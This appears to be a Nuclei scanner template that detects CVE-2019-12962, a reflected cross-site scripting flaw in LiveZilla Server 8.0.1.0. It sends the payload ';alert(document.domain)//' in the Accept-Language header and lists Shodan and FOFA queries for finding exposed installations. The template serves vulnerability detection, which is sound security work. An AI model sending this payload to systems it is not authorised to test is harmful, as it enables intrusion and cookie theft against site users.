id: CVE-2019-12962

info:
  name: LiveZilla Server 8.0.1.0 - Cross-Site Scripting
  author: Clment Cruchet
  severity: medium
  description: |
    LiveZilla Server 8.0.1.0 is vulnerable to reflected cross-site scripting.
  impact: |
    Attackers can inject malicious JavaScript through the Accept-Language header, potentially stealing session cookies, credentials, or performing unauthorized actions on behalf of victims.
  remediation: |
    Upgrade to the latest version of LiveZilla Server or apply the vendor-provided patch to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49669
    - https://forums.livezilla.net/index.php?/topic/10984-fg-vd-19-083085087-livezilla-server-are-vulnerable-to-cross-site-scripting-in-admin-panel/
    - http://packetstormsecurity.com/files/161867/LiveZilla-Server-8.0.1.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12962
    - https://github.com/anonymous364872/Rapier_Tool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-12962
    cwe-id: CWE-79
    epss-score: 0.09052
    epss-percentile: 0.94764
    cpe: cpe:2.3:a:livezilla:livezilla:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: livezilla
    product: livezilla
    shodan-query:
      - http.html:LiveZilla
      - http.html:livezilla
    fofa-query: body=livezilla
  tags: cve,cve2019,xss,edb,packetstorm,livezilla,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/mobile/index.php'

    headers:
      Accept-Language: ';alert(document.domain)//'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "var detectedLanguage = ';alert(document.domain)//';"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204bdf84b26eaf3a21667d3be7816e88ecb0a6ba23c0ba4d0128ec516c0c2b25e3022100fe377fb7fac52004b38b882729ec635e2bfed69782854aaef53b925bad464656:922c64590222798bb761d5b6d8e72950